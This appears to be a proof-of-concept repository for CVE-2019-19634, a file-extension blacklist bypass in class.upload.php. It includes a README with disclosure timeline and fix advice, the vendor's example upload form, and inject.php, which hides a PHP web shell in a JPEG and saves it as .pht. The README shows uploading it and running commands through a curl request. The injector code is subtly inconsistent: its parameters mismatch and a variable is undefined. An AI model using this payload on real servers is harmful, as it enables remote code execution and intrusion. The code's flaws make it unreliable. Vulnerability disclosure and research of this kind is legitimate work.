├── README.md
├── composer.json
├── composer.lock
├── inject.php
└── upload.php


/README.md:
--------------------------------------------------------------------------------
 1 | # CVE-2019-19634 - class.upload.php <= 2.0.4 Arbitrary file upload
 2 | - Author - Jinny Ramsmark
 3 | - Affected vendor - Verot.net
 4 | - Affected product - class.upload.php <= 2.0.4
 5 | - Tested on newly installed Ubuntu 14.04 with PHP5 and Apache
 6 | - Specifically Debian/Ubuntu has been found to be vulnerable since they add the pht extension among others to available PHP handlers. In this case class.upload.php has not blacklisted the pht extension.
 7 | - This CVE is directly related to [CVE-2019-19576](https://github.com/jra89/CVE-2019-19576)
 8 | 
 9 | # Description
10 | This is a filter bypass exploit that results in arbitrary file upload and remote code execution.
11 | The class.upload.php script filters "dangerous files and content" and renames them to the txt file extension.
12 | It also does different type of transformation on the uploaded image, which would normally destroy any injected payload, even if the file extension filter could be bypassed.
13 | 
14 | The file extension filter is a blacklist, so any time a new extension is introduced (in this case pht), or any has been missed, a PHP file can be uploaded.
15 | The content must still be a valid image however and will still go through the imagecreatefromjpeg and similar functions.
16 | For this purpose I wrote the inject.php script which will essentially bruteforce its way through different images until it finds one where the payload will not be destroyed by the process done in class.upload.php. This effectively gives us an arbitrary file upload and a very stealthy code execution since it's still a valid image and will be displayed like one on pages where uploaded.
17 | 
18 | The inject.php script will be rewritten soon to be a more general tool for this type of attack, but for now it will just be included as individual scripts in this type of CVE release.
19 | 
20 | # Timeline (90 day default deadline)
21 | - 2019-12-07 - Reported to developer and K2 from JoomlaWorks (they are affected)
22 | - 2019-12-07 - Developer responded and has released a patch
23 | - 2019-12-08 - Developer has responded and agreed to release information
24 | 
25 | # Files included in this PoC
26 | - composer.json
27 | - upload.php
28 | - inject.php
29 | 
30 | # Usage
31 | The upload.php script is the example code from verot.net's github.
32 | I thought it would be best to demonstrate this vulnerability using their own example code.
33 | 
34 | - Run "php inject.php" in a terminal, it will generate a sample image with a simple payload in the file.
35 | - When the script is finished it will produce a file called "image.jpg.pht".
36 | - Browse to the upload.php file and upload image.jpg.pht, it will go through and you will now have a shell
37 | 
38 | # Example
39 | ```
40 | user@ayu:/var/www/html# php inject.php 
41 | -=Imagejpeg injector 1.8=-
42 | [+] Fetching image (100 X 100) from http://lorempixel.com/100/100/
43 | [+] Jumping to end byte
44 | [+] Searching for valid injection point
45 | [!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
46 | [+] It seems like it worked!
47 | [+] Result file: image.jpg.pht
48 | ```
49 | 
50 | ```
51 | user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
52 | Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU
53 | ```
54 | 
55 | # Proposed solution
56 | - Don't blacklist file extensions.
57 | - Use a whitelist of allowed ones by default instead.
58 | - Or just don't have any extensions at all on uploaded files, and store the original name elsewhere.
59 | 
60 | # Reference
61 | - https://github.com/verot/class.upload.php/blob/2.0.5/src/class.upload.php#L3068
62 | 


--------------------------------------------------------------------------------
/composer.json:
--------------------------------------------------------------------------------
1 | {
2 |     "name": "root/html",
3 |     "require": {
4 |         "verot/class.upload.php": "2.0.4"
5 |     }
6 | }
7 | 


--------------------------------------------------------------------------------
/composer.lock:
--------------------------------------------------------------------------------
 1 | {
 2 |     "_readme": [
 3 |         "This file locks the dependencies of your project to a known state",
 4 |         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
 5 |         "This file is @generated automatically"
 6 |     ],
 7 |     "content-hash": "0e0789b77ce9a212459199b15e1e0ee4",
 8 |     "packages": [
 9 |         {
10 |             "name": "verot/class.upload.php",
11 |             "version": "2.0.4",
12 |             "source": {
13 |                 "type": "git",
14 |                 "url": "https://github.com/verot/class.upload.php.git",
15 |                 "reference": "bde864563f4fefa4a2f44993937f82effebb7e25"
16 |             },
17 |             "dist": {
18 |                 "type": "zip",
19 |                 "url": "https://api.github.com/repos/verot/class.upload.php/zipball/bde864563f4fefa4a2f44993937f82effebb7e25",
20 |                 "reference": "bde864563f4fefa4a2f44993937f82effebb7e25",
21 |                 "shasum": ""
22 |             },
23 |             "require": {
24 |                 "php": ">=5.3"
25 |             },
26 |             "type": "library",
27 |             "autoload": {
28 |                 "classmap": [
29 |                     "src/class.upload.php"
30 |                 ]
31 |             },
32 |             "notification-url": "https://packagist.org/downloads/",
33 |             "license": [
34 |                 "GPL-2.0-only"
35 |             ],
36 |             "authors": [
37 |                 {
38 |                     "name": "Colin Verot",
39 |                     "email": "colin@verot.net"
40 |                 }
41 |             ],
42 |             "description": "This PHP class uploads files and manipulates images very easily.",
43 |             "homepage": "http://www.verot.net/php_class_upload.htm",
44 |             "keywords": [
45 |                 "gd",
46 |                 "upload"
47 |             ],
48 |             "time": "2019-12-04T12:35:04+00:00"
49 |         }
50 |     ],
51 |     "packages-dev": [],
52 |     "aliases": [],
53 |     "minimum-stability": "stable",
54 |     "stability-flags": [],
55 |     "prefer-stable": false,
56 |     "prefer-lowest": false,
57 |     "platform": [],
58 |     "platform-dev": []
59 | }
60 | 


--------------------------------------------------------------------------------
/inject.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | #Title: jpeg payload generator for file upload RCE
  3 | #Author: Jinny Ramsmark
  4 | #Github: https://github.com/jra89/CVE-2019-19634
  5 | #Other: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19634
  6 | #Usage: php inject.php
  7 | #Output: image.jpg.pht is the file to be used for upload and exploitation
  8 | 
  9 | #This script assumes no special transforming is done on the image for this specific CVE.
 10 | #It can be modified however for different sizes and so on (x,y vars).
 11 | #The plan is to give this script its own repository soon and make it into a more dynamic tool
 12 | 
 13 | ini_set('display_errors', 1);
 14 | error_reporting(E_PARSE);
 15 | #requires php, php-gd
 16 |  
 17 | $orig = 'image.jpg';
 18 | $code = '<?=exec($_GET["c"])?>';
 19 | $quality = "85";
 20 | $base_url = "http://lorempixel.com";
 21 | $output = 'image.jpg.pht';
 22 |  
 23 | echo "-=Imagejpeg injector 1.8=-\n";
 24 |  
 25 | do
 26 | {
 27 |     $x = 100;
 28 |     $y = 100;
 29 |     $url = $base_url . "/$x/$y/";
 30 |  
 31 |     echo "[+] Fetching image ($x X $y) from $url\n";
 32 |     file_put_contents($orig, file_get_contents($url));
 33 | } while(!tryInject($orig, $code, $quality));
 34 |  
 35 | echo "[+] It seems like it worked!\n";
 36 | echo "[+] Result file: $output\n";
 37 |  
 38 | function tryInject($orig, $code, $quality, $output)
 39 | {
 40 |     $tmp_filename = $orig . '_mod2.jpg';
 41 |     
 42 |     //Create base image and load its data
 43 |     $src = imagecreatefromjpeg($orig);
 44 | 
 45 |     imagejpeg($src, $tmp_filename, $quality);
 46 |     $data = file_get_contents($tmp_filename);
 47 |     $tmpData = array();
 48 | 
 49 |     echo "[+] Jumping to end byte\n";
 50 |     $start_byte = findStart($data);
 51 |  
 52 |     echo "[+] Searching for valid injection point\n";
 53 |     for($i = strlen($data)-1; $i > $start_byte; --$i)
 54 |     {
 55 |         $tmpData = $data;
 56 |         for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
 57 |         {
 58 |             $tmpData[$n] = $code[$z];
 59 |         }
 60 |  
 61 |         $src = imagecreatefromstring($tmpData);
 62 |         imagejpeg($src, $output, $quality);
 63 |  
 64 |         if(checkCodeInFile($result_file, $code))
 65 |         {
 66 |             unlink($tmp_filename);
 67 |             unlink($result_file);
 68 |             sleep(1);
 69 |  
 70 |             file_put_contents($result_file, $tmpData);
 71 |             echo "[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed\n";
 72 |  
 73 |             sleep(1);
 74 |             $src = imagecreatefromjpeg($result_file);
 75 |  
 76 |             return true;
 77 |         }
 78 |         else
 79 |         {
 80 |             unlink($output);
 81 |         }
 82 |     }
 83 |         unlink($orig);
 84 |         unlink($tmp_filename);
 85 |         return false;
 86 | }
 87 |  
 88 | function findStart($str)
 89 | {
 90 |     for($i = 0; $i < strlen($str); ++$i)
 91 |     {
 92 |         if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
 93 |         {
 94 |             return $i+2;
 95 |         }
 96 |     }
 97 |  
 98 |     return -1;
 99 | }
100 |  
101 | function checkCodeInFile($file, $code)
102 | {
103 |     if(file_exists($file))
104 |     {
105 |         $contents = loadFile($file);
106 |     }
107 |     else
108 |     {
109 |         $contents = "0";
110 |     }
111 |  
112 |     return strstr($contents, $code);
113 | }
114 |  
115 | function loadFile($file)
116 | {
117 |     $handle = fopen($file, "r");
118 |     $buffer = fread($handle, filesize($file));
119 |     fclose($handle);
120 |  
121 |     return $buffer;
122 | }
123 | 


--------------------------------------------------------------------------------
/upload.php:
--------------------------------------------------------------------------------
 1 | <form enctype="multipart/form-data" method="post" action="upload.php">
 2 |   <input type="file" size="32" name="image_field" value="">
 3 |   <input type="submit" name="Submit" value="upload">
 4 | </form>
 5 | 
 6 | 
 7 | <?php
 8 | 
 9 | require_once('vendor/autoload.php');
10 | 
11 | use Verot\Upload\Upload;
12 | 
13 | 
14 | if($_POST) {
15 | mkdir('images');
16 | $handle = new Upload($_FILES['image_field']);
17 | if ($handle->uploaded) {
18 |   $handle->file_new_name_body   = 'image_resized';
19 |   $handle->image_resize         = true;
20 |   $handle->image_x              = 100;
21 |   $handle->image_ratio_y        = true;
22 |   $handle->process('images/');
23 |   if ($handle->processed) {
24 |     echo 'image resized';
25 |     $handle->clean();
26 |   } else {
27 |     echo 'error : ' . $handle->error;
28 |   }
29 | }
30 | }
31 | 


--------------------------------------------------------------------------------